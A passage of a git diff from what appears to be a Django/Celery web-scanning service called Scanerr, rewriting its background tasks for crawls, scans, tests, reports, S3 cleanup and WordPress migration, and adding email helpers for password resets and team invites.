.utils.exporter import create_and_send_report_export +from .utils.scanner import ( + _html_and_logs, _vrt, _lighthouse, + _yellowlab ) -from .models import Log -from django.contrib.auth.models import User from .utils.driver_p import driver_test -from asgiref.sync import async_to_sync -import asyncio +from .utils.alerts import send_invite_link, send_remove_alert +from .models import * +from django.contrib.auth.models import User +from django.utils import timezone +from datetime import datetime, timedelta +from scanerr import settings +import asyncio, boto3, time, requests, json + + + + + + + + +class BaseTaskWithRetry(Task): + autoretry_for = (Exception, KeyError) + retry_kwargs = {'max_retries': 2} + retry_backoff = True + + + +# setting logger logger = get_task_logger(__name__) +# setting s3 instance +s3 = boto3.resource('s3', + aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID), + aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY), + region_name=str(settings.AWS_S3_REGION_NAME), + endpoint_url=str(settings.AWS_S3_ENDPOINT_URL) +) + + + + @shared_task -def test_pupeteer(): +def test_pupeteer() -> None: + """ + Spins up a puppeteer driver instance and + tests to ensure it can access the browser and internet + + Returns -> None + """ asyncio.run(driver_test()) logger.info('Tested pupeteer instalation') + return None -@shared_task -def create_site_bg(site_id=None, scan_id=None, configs=None, *args, **kwargs): - create_site_task(site_id, scan_id, configs) - logger.info('Created scan of new site') -@shared_task -def create_scan_bg( - scan_id=None, - site_id=None, - type=['full'], - automation_id=None, - configs=None, - tags=None, - *args, - **kwargs, - ): - create_scan_task( - scan_id, - site_id, - type, - automation_id, - configs, - tags, - ) +@shared_task(bind=True, base=BaseTaskWithRetry) +def create_site_and_pages_bg(self, site_id: str=None, configs: dict=settings.CONFIGS) -> None: + """ + Takes a newly created `Site`, initiates a Crawl and + initial `Scan` for each crawled page + + Expcets: { + site_id: str, + configs: dict + } + + Returns -> None + """ + + # getting site and updating for time_crawl_start + site = Site.objects.get(id=site_id) + site.time_crawl_started = timezone.now() + site.time_crawl_completed = None + site.save() + + # crawl site + pages = Crawler(url=site.site_url, max_urls=site.account.max_pages).get_links() + + # create pages and scans + for url in pages: + + # add new page + if not Page.objects.filter(site=site, page_url=url).exists(): + page = Page.objects.create( + site=site, + page_url=url, + user=site.user, + account=site.account, + ) + + # create initial scan + scan = Scan.objects.create( + site=site, + page=page, + type=['html', 'logs', 'vrt', 'lighthouse', 'yellowlab'], + configs=configs + ) + + # run each scan component in parallel + run_html_and_logs_bg.delay(scan_id=scan.id) + run_lighthouse_bg.delay(scan_id=scan.id) + run_yellowlab_bg.delay(scan_id=scan.id) + run_vrt_bg.delay(scan_id=scan.id) + + # update page info + page.info["latest_scan"]["id"] = str(scan.id) + page.info["latest_scan"]["time_created"] = str(scan.time_created) + page.save() + + # updating site status + site.time_crawl_completed = timezone.now() + site.save() + + logger.info('Added site and all pages') + return None + + + + +@shared_task(bind=True, base=BaseTaskWithRetry) +def crawl_site_bg(self, site_id: str=None, configs: dict=settings.CONFIGS) -> None: + """ + Takes an existing `Site`, initiates a new Crawl and + initial `Scan` for each newly added page + + Expcets: { + site_id: str, + configs: dict + } + + Returns -> None + """ + + # getting site and updating for time_crawl_start + site = Site.objects.get(id=site_id) + site.time_crawl_started = timezone.now() + site.time_crawl_completed = None + site.save() + + # getting old pages for comparison + old_pages = Page.objects.filter(site=site) + old_urls = [] + for p in old_pages: + old_urls.append(p.page_url) + + # crawl site + new_pages = Crawler(url=site.site_url, max_urls=site.account.max_pages).get_links() + add_pages = [] + + # checking if allowed to add new page + for page in new_pages: + if not page in old_urls and (len(add_pages) + len(old_urls) <= site.account.max_pages): + add_pages.append(page) + + # loop thorugh crawled pages + # and add if not present + for url in add_pages: + + # add new page + if not Page.objects.filter(site=site, page_url=url).exists(): + page = Page.objects.create( + site=site, + page_url=url, + user=site.user, + account=site.account, + ) + # create initial scan + scan = Scan.objects.create( + site=site, + page=page, + type=['html', 'logs', 'vrt', 'lighthouse', 'yellowlab'], + configs=configs + ) + # run each scan component in parallel + run_html_and_logs_bg.delay(scan_id=scan.id) + run_lighthouse_bg.delay(scan_id=scan.id) + run_yellowlab_bg.delay(scan_id=scan.id) + run_vrt_bg.delay(scan_id=scan.id) + page.info["latest_scan"]["id"] = str(scan.id) + page.info["latest_scan"]["time_created"] = str(scan.time_created) + page.save() + + # updating site status + site.time_crawl_completed = timezone.now() + site.save() + + logger.info('crawled site and added pages') + return None + + + + +@shared_task(bind=True, base=BaseTaskWithRetry) +def scan_page_bg( + self, + scan_id: str=None, + test_id: str=None, + automation_id: str=None, + configs: dict=settings.CONFIGS + ) -> None: + """ + Runs all the requested `Scan` components + of the passed `Scan`. + + Expects: { + scan_id : str, + test_id : str, + automation_id : str, + configs : dict + } + + Returns -> None + """ + + # get scan object + scan = Scan.objects.get(id=scan_id) + + # run each scan component in parallel + if 'html' in scan.type or 'logs' in scan.type or 'full' in scan.type: + run_html_and_logs_bg.delay(scan_id=scan.id, test_id=test_id, automation_id=automation_id) + if 'lighthouse' in scan.type or 'full' in scan.type: + run_lighthouse_bg.delay(scan_id=scan.id, test_id=test_id, automation_id=automation_id) + if 'yellowlab' in scan.type or 'full' in scan.type: + run_yellowlab_bg.delay(scan_id=scan.id, test_id=test_id, automation_id=automation_id) + if 'vrt' in scan.type or 'full' in scan.type: + run_vrt_bg.delay(scan_id=scan.id, test_id=test_id, automation_id=automation_id) + + logger.info('created new Scan of Page') + return None + + + + +@shared_task(bind=True, base=BaseTaskWithRetry) +def create_scan( + self, + scan_id: str=None, + page_id: str=None, + type: list=['html', 'logs', 'vrt', 'lighthouse', 'yellowlab'], + automation_id: str=None, + configs: str=None, + tags: str=None, + ) -> None: + """ + Runs a `Scan` using Scanner.build_scan() + where each component is run in sequence. + + Expects: { + scan_id : str, + page_id : str, + type : list, + automation_id : str, + configs : str, + tags : list, + } + + Returns -> None + """ + + # get scan if scan_id present + if scan_id is not None: + created_scan = Scan.objects.get(id=scan_id) + + # create scan if page_id present + elif page_id is not None: + page = Page.objects.get(id=page_id) + created_scan = Scan.objects.create( + site=page.site, + page=page, + type=type, + configs=configs, + tags=tags, + ) + + # run scan and automation if necessary + scan = S(scan=created_scan, configs=configs).build_scan() + if automation_id: + Automater(automation_id, scan.id).run_automation() + logger.info('Created new scan of site') + return None -@shared_task -def run_html_and_logs_bg(scan_id=None, *args, **kwargs): - run_html_and_logs_task(scan_id) +@shared_task(bind=True, base=BaseTaskWithRetry) +def create_scan_bg(self, *args, **kwargs) -> None: + """ + Creates 1 or more `Scans` depending on + the scope (page or site). Used with `Schedules` + + Expects: { + 'site_id' : str, + 'page_id' : str, + 'type' : list, + 'configs' : dict, + 'tags' : list, + 'automation_id' : str + } + + Returns -> None + """ + + # get data from kwargs + site_id = kwargs.get('site_id') + page_id = kwargs.get('page_id') + type = kwargs.get('type') + configs = kwargs.get('configs') + tags = kwargs.get('tags') + automation_id = kwargs.get('automation_id') + + # building list of pages + if site_id is not None: + site = Site.objects.get(id=site_id) + pages = Page.objects.filter(site=site) + if page_id is not None: + pages = [Page.objects.get(id=page_id)] + + # creating scans for each page + for page in pages: + create_scan.delay( + page_id=page.id, + type=type, + configs=configs, + tags=tags, + automation_id=automation_id + ) + + logger.info('created new Scans') + return None + + + + +@shared_task(bind=True, base=BaseTaskWithRetry) +def run_html_and_logs_bg(self, scan_id: str=None, test_id: str=None, automation_id: str=None) -> None: + """ + Runs the html & logs components of the passed `Scan` + + Expects: { + scan_id : str, + test_id : str, + automation_id : str + } + + Returns -> None + """ + + # run html and logs component + _html_and_logs(scan_id, test_id, automation_id) + logger.info('ran html & logs component') + return None -@shared_task -def run_vrt_bg(scan_id=None, *args, **kwargs): - run_vrt_task(scan_id) + + +@shared_task(bind=True, base=BaseTaskWithRetry) +def run_vrt_bg(self, scan_id: str=None, test_id: str=None, automation_id: str=None) -> None: + """ + Runs the VRT component of the passed `Scan` + + Expects: { + scan_id : str, + test_id : str, + automation_id : str + } + + Returns -> None + """ + + # run VRT component + _vrt(scan_id, test_id, automation_id) + logger.info('ran vrt component') + return None -@shared_task -def run_lighthouse_bg(scan_id=None, *args, **kwargs): - run_lighthouse_task(scan_id) + + +@shared_task(bind=True, base=BaseTaskWithRetry) +def run_lighthouse_bg(self, scan_id: str=None, test_id: str=None, automation_id: str=None) -> None: + """ + Runs the lighthouse component of the passed `Scan` + + Expects: { + scan_id : str, + test_id : str, + automation_id : str + } + + Returns -> None + """ + + # run lighthouse component + _lighthouse(scan_id, test_id, automation_id) + logger.info('ran lighthouse component') + return None -@shared_task -def run_yellowlab_bg(scan_id=None, *args, **kwargs): - run_yellowlab_task(scan_id) + + +@shared_task(bind=True, base=BaseTaskWithRetry) +def run_yellowlab_bg(self, scan_id: str=None, test_id: str=None, automation_id: str=None) -> None: + """ + Runs the yellowlab component of the passed `Scan` + + Expects: { + scan_id : str, + test_id : str, + automation_id : str + } + + Returns -> None + """ + + # run yellowlab component + _yellowlab(scan_id, test_id, automation_id) + logger.info('ran yellowlab component') + return None + + + + +@shared_task(bind=True, base=BaseTaskWithRetry) +def run_test(self, test_id: str, automation_id: str=None) -> None: + """ + Helped function to shorted the code base + when creating a `Test`. + + Expects: { + test_id : str, + automation_id : str + } + + Returns -> None + """ + # get test + test = Test.objects.get(id=test_id) + + # execute test + test = T(test=test).run_test() + if automation_id: + automater(automation_id, test.id) + + logger.info('Test completed') + return None + + + + +@shared_task(bind=True, base=BaseTaskWithRetry) +def create_test( + self, + test_id: str=None, + page_id: str=None, + automation_id: str=None, + configs: dict=settings.CONFIGS, + type: list=['html', 'logs', 'vrt', 'lighthouse', 'yellowlab'], + index: int=None, + pre_scan: str=None, + post_scan: str=None, + tags: list=None, + ) -> None: + """ + Creates a `post_scan` if necessary, waits for completion, + and runs a `Test` + + Expects: { + test_id : str, + page_id : str, + automation_id : str, + configs : dict, + type : list, + index : int, + pre_scan : str, + post_scan : str, + tags : list, + } + + Returns -> None + """ + + # get or create a Test + if test_id is not None: + created_test = Test.objects.get(id=test_id) + page = created_test.page + elif page_id is not None: + page = Page.objects.get(id=page_id) + created_test = Test.objects.create( + site=page.site, + page=page, + type=type, + tags=tags, + ) + + # get pre_ & post_ scans + if pre_scan is not None: + pre_scan = Scan.objects.get(id=pre_scan) + if post_scan is not None: + post_scan = Scan.objects.get(id=post_scan) + if post_scan is None or pre_scan is None: + if pre_scan is None: + pre_scan = Scan.objects.filter(page=page).order_by('-time_completed')[0] + post_scan = Scan.objects.create( + site=page.site, + page=page, + tags=tags, + type=type, + configs=configs, + ) + scan_page_bg.delay( + scan_id=post_scan.id, + test_id=created_test.id, + automation_id=automation_id, + configs=configs, + ) + + # updating parired scans + pre_scan.paired_scan = post_scan + post_scan.paried_scan = pre_scan + pre_scan.save() + post_scan.save() + + # updating test object + created_test.type = type + created_test.pre_scan = pre_scan + created_test.post_scan = post_scan + created_test.save() + + # check if pre and post scan are complete and start test if True + if pre_scan.time_completed is not None and post_scan.time_completed is not None: + run_test.delay(test_id=created_test.id, automation_id=automation_id) + + logger.info('Began Scan/Test process') + return None + + + + +@shared_task(bind=True, base=BaseTaskWithRetry) +def create_test_bg(self, *args, **kwargs) -> None: + """ + Depending on the scope, run create_test() for + all requested pages. + + Expects: { + site_id : str + page_id : str + test_id : str + type : list + configs : dict + tags : list + automation_id : str + pre_scan : str + post_scan : str + } + + Returns -> None + """ + + # get data + site_id = kwargs.get('site_id') + page_id = kwargs.get('page_id') + test_id = kwargs.get('test_id') + type = kwargs.get('type') + configs = kwargs.get('configs') + tags = kwargs.get('tags') + automation_id = kwargs.get('automation_id') + pre_scan = kwargs.get('pre_scan') + post_scan = kwargs.get('post_scan') + + # create test if none was passed + if test_id is None: + if site_id is not None: + site = Site.objects.get(id=site_id) + pages = Page.objects.filter(site=site) + if page_id is not None: + p = Page.objects.get(id=page_id) + pages = [p] + + # create a test for each page + for page in pages: + create_test.delay( + page_id=page.id, + type=type, + configs=configs, + tags=tags, + pre_scan=pre_scan, + post_scan=post_scan, + automation_id=automation_id + ) + + # get test and run + if test_id is not None: + test = Test.objects.get(id=test_id) + create_test.delay( + test_id=test_id, + page_id=test.page.id, + type=type, + configs=configs, + tags=tags, + pre_scan=pre_scan, + post_scan=post_scan, + automation_id=automation_id + ) + + logger.info('Created new Tests') + return None @shared_task -def create_test_bg( - test_id=None, - site_id=None, - automation_id=None, - configs=None, - type=['full'], - index=None, - pre_scan=None, - post_scan=None, - tags=None, - *args, - **kwargs, - ): - create_test_task( - test_id, - site_id, - automation_id, - configs, - type, - index, - pre_scan, - post_scan, - tags - ) - logger.info('Created new test of site') +def create_report(page_id: str=None, automation_id: str=None) -> None: + """ + Generates a new PDF `Report` of the requested `Page` + and runs the associated `Automation` if requested + + Expcets: { + page_id : str, + automation_id : str + } + + Returns -> None + """ + + # get page + page = Page.objects.get(id=page_id) + + # check if report exists + if Report.objects.filter(page=page).exists(): + report = Report.objects.filter(site=site).order_by('-time_created')[0] + + # create new report obj + else: + info = { + "text_color": '#24262d', + "background_color": '#e1effd', + "highlight_color": '#ffffff', + } + report = Report.objects.create( + user=site.user, + site=page.site, + page=page, + info=info, + type=['lighthouse', 'yellowlab'] + ) + + # generate report PDF + report = R(report=report).generate_report() + if automation_id: + automater(automation_id, report.id) + + logger.info('Created new report of page') + return None + + + @shared_task -def create_report_bg(site_id=None, automation_id=None, *args, **kwargs): - create_report_task(site_id, automation_id) - logger.info('Created new report of site') +def create_report_bg(*args, **kwargs) -> None: + """ + Creates new `Reports` for the requested `Pages` + + Expects: { + 'site_id' : str, + 'page_id' : str + 'automation_id' : str + } + + Returns -> None + """ + + # get data + site_id = kwargs.get('site_id') + page_id = kwargs.get('page_id') + automation_id = kwargs.get('automation_id') + + # deciding scope + if site_id is not None: + site = Site.objects.get(id=site_id) + pages = Page.objects.filter(site=site) + if page_id is not None: + pages = [Page.objects.get(id=page_id)] + + # create reports for each page + for page in pages: + create_report.delay( + page_id=page.id, + automation_id=automation_id + ) + + logger.info('Created new Reports') + return None + + @shared_task -def delete_site_s3_bg(site_id, *args, **kwargs): - delete_site_s3(site_id) +def delete_site_s3_bg(site_id: str) -> None: + """ + Deletes the directory in s3 bucked associated + with passed site + + Expects: { + 'site_id': str + } + + Returns -> None + """ + + # deleting s3 objects + try: + bucket = s3.Bucket(settings.AWS_STORAGE_BUCKET_NAME) + bucket.objects.filter(Prefix=str(f'static/sites/{site_id}/')).delete() + except: + pass + logger.info('Deleted site s3 objects') + return None + + @shared_task -def delete_testcase_s3_bg(testcase_id, *args, **kwargs): - delete_testcase_s3(testcase_id) +def delete_page_s3_bg(page_id: str, site_id: str) -> None: + """ + Deletes the directory in s3 bucked associated + with passed page + + Expects: { + 'site_id': str, + 'page_id': str + } + + Returns -> None + """ + + # deleting s3 objects + try: + bucket = s3.Bucket(settings.AWS_STORAGE_BUCKET_NAME) + bucket.objects.filter(Prefix=str(f'static/sites/{site_id}/{page_id}/')).delete() + except: + pass + + logger.info('Deleted page s3 objects') + return None + + + + +@shared_task +def delete_scan_s3_bg(scan_id: str, site_id: str, page_id: str) -> None: + """ + Deletes the directory in s3 bucked associated + with passed scan + + Expects: { + 'scan_id': str, + 'site_id': str, + 'page_id': str + } + + Returns -> None + """ + + # deleting s3 objects + try: + bucket = s3.Bucket(settings.AWS_STORAGE_BUCKET_NAME) + bucket.objects.filter(Prefix=str(f'static/sites/{site_id}/{page_id}/{scan_id}/')).delete() + except: + pass + + logger.info('Deleted scan s3 objects') + return None + + + + +@shared_task +def delete_test_s3_bg(test_id: str, site_id: str, page_id: str) -> None: + """ + Deletes the directory in s3 bucked associated + with passed test + + Expects: { + 'test_id': str, + 'site_id': str, + 'page_id': str + } + + Returns -> None + """ + + # deleting s3 objects + try: + bucket = s3.Bucket(settings.AWS_STORAGE_BUCKET_NAME) + bucket.objects.filter(Prefix=str(f'static/sites/{site_id}/{page_id}/{test_id}/')).delete() + except: + pass + + logger.info('Deleted test s3 objects') + return None + + + + +@shared_task +def delete_testcase_s3_bg(testcase_id: str) -> None: + """ + Deletes the directory in s3 bucked associated + with passed test + + Expects: { + 'testcase_id': str, + } + + Returns -> None + """ + + # deleting s3 objects + try: + bucket = s3.Bucket(settings.AWS_STORAGE_BUCKET_NAME) + bucket.objects.filter(Prefix=str(f'static/testcase/{testcase_id}/')).delete() + except: + pass + logger.info('Deleted testcase s3 objects') + return None + + @shared_task -def delete_report_s3_bg(report_id, *args, **kwargs): - delete_report_s3(report_id) +def delete_report_s3_bg(report_id: str) -> None: + """ + Deletes the file in s3 bucked associated + with passed report + + Expects: { + 'report_id': str, + } + + Returns -> None + """ + + # get site + site = Report.objects.get(id=report_id).site + + # deleting s3 objects + try: + bucket = s3.Bucket(settings.AWS_STORAGE_BUCKET_NAME) + bucket.objects.filter(Prefix=str(f'static/sites/{site.id}/{report_id}.pdf')).delete() + except: + pass + logger.info('Deleted Report pdf in s3') + return None + + @shared_task -def purge_logs(username=None, *args, **kwargs): +def delete_case_s3_bg(case_id: str) -> None: + """ + Deletes the file in s3 bucked associated + with passed case_id + + Expects: { + 'case_id': str, + } + + Returns -> None + """ + + # deleting s3 objects + try: + bucket = s3.Bucket(settings.AWS_STORAGE_BUCKET_NAME) + bucket.objects.filter(Prefix=str(f'static/cases/{case_id}.json')).delete() + except: + pass + + logger.info('Deleted Case step data in s3') + return None + + + + +@shared_task +def purge_logs(username: str=None) -> None: + """ + Deletes all `Logs` associated with the passed "username". + If "username" is None, deletes all `Logs`. + + Expects: { + 'username': str + } + + Returns -> None + """ + + # delete logs if username: user = User.objects.get(username=username) Log.objects.filter(user=user).delete() @@ -145,60 +928,487 @@ def purge_logs(username=None, *args, **kwargs): Log.objects.all().delete() logger.info('Purged logs') + return None -@shared_task + + +@shared_task(bind=True, base=BaseTaskWithRetry) +def create_auto_cases_bg( + self, + site_id: str=None, + process_id: str=None, + start_url: str=None, + max_cases: int=4, + max_layers: int=5, + configs: dict=settings.CONFIGS + ) -> None: + """ + Generates new `Cases` for the passed site. + + Expects: { + site_id : str, + process_id : str, + start_url : str, + max_cases : int, + max_layers : int, + configs : dict + } + + Returns -> None + """ + + # get objects + site = Site.objects.get(id=site_id) + process = Process.objects.get(id=process_id) + + # init AutoCaser + AC = AutoCaser( + site=site, + process=process, + start_url=start_url, + configs=configs, + max_cases=max_cases, + max_layers=max_layers, + ) + + # build cases + AC.build_cases() + + logger.info('Built new auto Cases') + return None + + + + +@shared_task(bind=True, base=BaseTaskWithRetry) def create_testcase_bg( - testcase_id=None, - site_id=None, - case_id=None, - updates=None, - automation_id=None, - configs=None, - type=None, - *args, - **kwargs, - ): - create_testcase_task(testcase_id, site_id, case_id, updates, configs, automation_id) + self, + testcase_id: str=None, + site_id: str=None, + case_id: str=None, + updates: dict=None, + automation_id: str=None, + configs: dict=settings.CONFIGS + ) -> None: + """ + Creates and or runs a Testcase. + + Expects: { + testcase_id : str, + site_id : str, + case_id : str, + updates : dict, + automation_id : str, + configs : dict + } + + Returns -> None + """ + + # getting testcase + if testcase_id != None: + testcase = Testcase.objects.get(id=testcase_id) + configs = testcase.configs + + # creating testcase from case + else: + case = Case.objects.get(id=case_id) + site = Site.objects.get(id=site_id) + steps = requests.get(case.steps['url']).json() + for step in steps: + if step['action']['type'] != None: + step['action']['time_created'] = None + step['action']['time_completed'] = None + step['action']['exception'] = None + step['action']['passed'] = None + + if step['assertion']['type'] != None: + step['assertion']['time_created'] = None + step['assertion']['time_completed'] = None + step['assertion']['exception'] = None + step['assertion']['passed'] = None + + # adding updates + if updates != None: + for update in updates: + steps[int(update['index'])]['action']['value'] = update['value'] + + # create new testcase + testcase = Testcase.objects.create( + case = case, + case_name = case.name, + site = site, + user = site.user, + account = site.account, + configs = configs, + steps = steps + ) + + # running testcase + if configs.get('driver', 'puppeteer') == 'puppeteer': + testresult = asyncio.run( + Caser(testcase=testcase).run_p() + ) + if configs.get('driver', 'puppeteer') == 'selenium': + testresult = Caser(testcase=testcase).run_s() + + # run automation if requested + if automation_id: + automater(automation_id, testcase.id) + logger.info('Ran full testcase') + return None @shared_task -def migrate_site_bg( - login_url, - admin_url, - username, - password, - email_address, - destination_url, - sftp_address, - dbname, - sftp_username, - sftp_password, - plugin_name, - wait_time, - process_id, - driver, - *args, - **kwargs - ): - migrate_site_task( - login_url, - admin_url, - username, - password, - email_address, - destination_url, - sftp_address, - dbname, - sftp_username, - sftp_password, - plugin_name, - wait_time, - process_id, - driver, +def delete_old_resources(account_id: str=None, days_to_live: int=30) -> None: + """ + Deletes all `Tests`, `Scans`, `Testcases`, + `Logs`, and `Processes` that have reached expiry + + Expects: { + account_id : str, + days_to_live : int + } + + Returns -> None + """ + + # calculate max dates + max_date = datetime.now() - timedelta(days=days_to_live) + max_proc_date = datetime.now() - timedelta(days=1) + + # scope resources to account if requested + if account_id is not None: + tests = Test.objects.filter(site__account__id=account_id, time_created__lte=max_date) + scans = Scan.objects.filter(site__account__id=account_id, time_created__lte=max_date) + testcases = Testcase.objects.filter(account__id=account_id, time_created__lte=max_date) + processes = Process.objects.filter(account__id=account_id, time_created__lte=max_proc_date) + + # get all old Logs + members = Member.objects.filter(account__id=account_id) + logs = [] + for member in members: + logs += Log.objects.filter(user=member.user, time_created__lte=max_proc_date) + + # get all resoruces if no account_id + else: + tests = Test.objects.filter(time_created__lte=max_date) + scans = Scan.objects.filter(time_created__lte=max_date) + testcases = Testcase.objects.filter(time_created__lte=max_date) + processes = Process.objects.filter(time_created__lte=max_proc_date) + logs = Log.objects.filter(time_created__lte=max_proc_date) + + # delete each resource in each type + for test in tests: + delete_test_s3_bg.delay(test.id, test.site.id, test.page.id) + test.delete() + for scan in scans: + delete_scan_s3_bg.delay(scan.id, scan.site.id, scan.page.id) + scan.delete() + for testcase in testcases: + delete_testcase_s3_bg.delay(testcase.id) + testcase.delete() + for process in processes: + process.delete() + for log in logs: + log.delete() + + logger.info('Cleaned up resources') + return None + + + + +@shared_task +def data_retention() -> None: + """ + Helper task for looping through each account and deleting old resources using + delete_old_resources() + + Returns -> None + """ + + # get all accounts + accounts = Account.objects.all() + + # loop through each account + for account in accounts: + + # delete old resources + delete_old_resources.delay( + account_id=account.id, + days_to_live=account.retention_days + ) + + logger.info('Requested resource cleanup') + return None + + + + +@shared_task +def delete_admin_sites(days_to_live: int=1) -> None: + """ + Delete all admin sites which are older + than 'days_to_live' + + Expects: { + 'days_to_live': int + } + + Returns -> None + """ + + # calculate max date + max_date = datetime.now() - timedelta(days=days_to_live) + + # filter sites by max_date and admin + sites = Site.objects.filter(time_created__lte=max_date, user__username='admin') + + # delete each site + for site in sites: + delete_site_s3_bg.delay(site.id) + site.delete() + + logger.info('Cleaned up admin sites') + return None + + + + +@shared_task +def create_prospect(user_email: str=None) -> None: + """ + Sends an API request to Scanerr Landing which + creates a new `Prospect` + + Expects: { + 'user_email': str + } + + Returns -> None + """ + + # get user by id + user = User.objects.get(email=user_email) + + # get account by user + account = Account.objects.get(user=user) + + # setup configs + url = f'{settings.LANDING_API_ROOT}/ops/prospect' + headers = { + "content-type": "application/json", + "Authorization" : f'Token {settings.LANDING_API_KEY}' + } + data = { + 'first_name': str(user.first_name), + 'last_name': str(user.last_name), + 'email': str(user.email), + 'phone': str(account.phone), + 'status': 'warm', + 'source': 'app', + } + + try: + # send the request + res = requests.post( + url=url, + headers=headers, + data=json.dumps(data) + ).json() + + success = True + message = res + + except Exception as e: + success = False + message = e + + # format response + data = { + 'success': success, + 'message': message + } + + logger.info(f'Sent Prospect creation request -> {data}') + return None + + + + +@shared_task +def create_report_export_bg(report_id: str=None, email: str=None, first_name: str=None) -> None: + """ + Creates and exports a Scanerr landing report + + Expects: { + report_id : str, + email : str, + first_name : str + } + + Returns -> None + """ + + # create and export + data = create_and_send_report_export( + report_id=report_id, + email=email, + first_name=first_name ) - logger.info('Finished Migration') \ No newline at end of file + logger.info(f'Created and sent report export -> {data}') + return None + + + + +@shared_task +def send_invite_link_bg(member_id: str) -> None: + """ + Sends an invite link to the requested member + + Expects: { + 'member_id': str + } + + Returns -> None + """ + + # get member + member = Member.objects.get(id=member_id) + + # send invite + send_invite_link(member) + + logger.info('Sent invite') + return None + + + + +@shared_task +def send_remove_alert_bg(member_id: str) -> None: + """ + Sends a 'removed' email to the requested member + + Expects: { + 'member_id': str + } + + Returns -> None + """ + + # get member + member = Member.objects.get(id=member_id) + + # send email + send_remove_alert(member) + + logger.info('Sent remove alert') + return None + + + + +@shared_task +def migrate_site_bg( + login_url: str, + admin_url: str, + username: str, + password: str, + email_address: str, + destination_url: str, + sftp_address: str, + dbname: str, + sftp_username: str, + sftp_password: str, + plugin_name: str, + wait_time: int, + process_id: str, + driver: str, + ) -> None: + """ + Runs the WP site migration process. + + Expects: { + login_url: str, + admin_url: str, + username: str, + password: str, + email_address: str, + destination_url: str, + sftp_address: str, + dbname: str, + sftp_username: str, + sftp_password: str, + plugin_name: str, + wait_time: int, + process_id: str, + driver: str, + } + + Returns -> None + """ + + if driver == 'selenium': + # init wordpress for selenium + wp = W( + login_url=login_url, + admin_url=admin_url, + username=username, + password=password, + email_address=email_address, + destination_url=destination_url, + sftp_address=sftp_address, + dbname=dbname, + sftp_username=sftp_username, + sftp_password=sftp_password, + wait_time=wait_time, + process_id=process_id, + + ) + + # login + wp_status = wp.login() + # adjust lang + wp_status = wp.begin_lang_check() + # install plugin + wp_status = wp.install_plugin(plugin_name=plugin_name) + # launch migration + wp_status = wp.launch_migration() + # run migration + wp_status = wp.run_migration() + # re adjust lang + # wp_status = wp.end_lang_check() + + else: + # init wordpress for puppeteer + wp_status = asyncio.run( + W_P( + login_url=login_url, + admin_url=admin_url, + username=username, + password=password, + email_address=email_address, + destination_url=destination_url, + sftp_address=sftp_address, + dbname=dbname, + sftp_username=sftp_username, + sftp_password=sftp_password, + wait_time=wait_time, + process_id=process_id, + ).run_full(plugin_name=plugin_name) + ) + + logger.info('Finished Migration') + return None + + + + diff --git a/app/api/tests.py b/app/api/tests.py deleted file mode 100644 index 7ce503c2..00000000 --- a/app/api/tests.py +++ /dev/null @@ -1,3 +0,0 @@ -from django.test import TestCase - -# Create your tests here. diff --git a/app/api/utils/alerts.py b/app/api/utils/alerts.py index fb4f68df..cc6eef5d 100644 --- a/app/api/utils/alerts.py +++ b/app/api/utils/alerts.py @@ -1,11 +1,6 @@ -from django.core.mail import send_mail, send_mass_mail -from django.contrib.auth.models import User -from django.template.loader import render_to_string from datetime import date -import os, operator, json, requests, uuid -from django.utils.html import strip_tags from django.contrib.auth.models import User -from rest_framework.response import Response +from rest_framework_simplejwt.tokens import RefreshToken from ..models import * from twilio.rest import Client from slack_sdk.web import WebClient @@ -13,22 +8,214 @@ from sendgrid import SendGridAPIClient from sendgrid.helpers.mail import Mail, From, To from scanerr import settings +import os, json, requests, uuid + + + + + + +def send_reset_link(email: str=None) -> dict: + """ + Sends a reset password email to the User with + the passed 'email' + + Expects: { + 'email': str + } + + Returns -> data: { + 'success': bool + } + """ + + # check if User exists + if User.objects.filter(email=email).exists(): + + # build email data + user = User.objects.get(email=email) + token = RefreshToken.for_user(user) + access_token = str(token.access_token) + reset_link = str(os.environ.get('CLIENT_URL_ROOT') + '/reset-password?token='+access_token) + subject = 'Rest Password' + title = 'Reset Password' + pre_header = 'Reset Password' + pre_content = 'Click the link below to reset your password.' + greeting = f'Hi there,' + + context = { + 'greeting': greeting, + 'title' : title, + 'subject' : subject, + 'email': email, + 'pre_header' : pre_header, + 'pre_content' : pre_content, + 'object_url' : reset_link, + 'home_page' : os.environ.get('CLIENT_URL_ROOT'), + 'button_text' : 'Rest my password', + 'content' : '', + 'signature' : '- Cheers!', + } + + # send email + sendgrid_email(message_obj=context) + + data = { + 'success': True + } + + else: + data = { + 'success': False + } + + return data + + + + +def send_invite_link(member: object=None) -> dict: + """ + Sends an invite email to the passed `Member` + + Expects: { + 'member': obj + } + + Returns -> data: { + 'success': bool + } + """ + + # check if member exists as status "pending" + if Member.objects.filter(email=member.email, status="pending").exists(): + + # build email data + link = f'{os.environ.get("CLIENT_URL_ROOT")}/account/join?team={member.account.id}&code={member.account.code}&member={member.id}&email={member.email}' + subject = 'Scanerr Invite' + title = 'Scanerr Invite' + pre_header = 'Scanerr Invite' + pre_content = f'A user with the email "{member.account.user.username}" invited you to join their Team on Scanerr. Now just click the link below to accept the invite!' + greeting = 'Hi there,' + + context = { + 'greeting': greeting, + 'title' : title, + 'subject' : subject, + 'email': member.email, + 'pre_header' : pre_header, + 'pre_content' : pre_content, + 'object_url' : link, + 'home_page' : os.environ.get('CLIENT_URL_ROOT'), + 'button_text' : 'Accept Invite', + 'content' : '', + 'signature' : '- Cheers!', + } + + # send email + sendgrid_email(message_obj=context) + + data = { + 'success': True + } + + else: + data = { + 'success': False + } + + return data + + + + +def send_remove_alert(member: object=None) -> dict: + """ + Sends a "removed" email to the passed `Member` and + deletes member from DB + + Expects: { + 'member': obj + } + + Returns -> data: { + 'success': bool + } + """ + + # check if member exists as status "removed" + if Member.objects.filter(email=member.email, status="removed").exists(): + + # build email data + subject = 'Removed From Account' + title = 'Removed From Account' + pre_header = 'Removed From Account' + pre_content = f'A user with the email "{member.account.user.username}" removed you from their Team on Scanerr. Please let us know if there\'s been a mistake.' + greeting = 'Hi there,' + + context = { + 'greeting' : greeting, + 'title' : title, + 'subject' : subject, + 'email': member.email, + 'pre_header' : pre_header, + 'pre_content' : pre_content, + 'object_url' : None, + 'home_page' : os.environ.get('CLIENT_URL_ROOT'), + 'content' : '', + 'signature' : '- Cheers!', + } + + # send email + sendgrid_email(message_obj=context) + # delete member obj + member.delete() + data = { + 'success': True + } + + else: + data = { + 'success': False + } + + return data -def create_exp_str(item, automation, is_email=False): +def create_exp(item: object=None, automation: object=None) -> dict: + """ + Builds an expression list (exp_list = []) based + on the passed 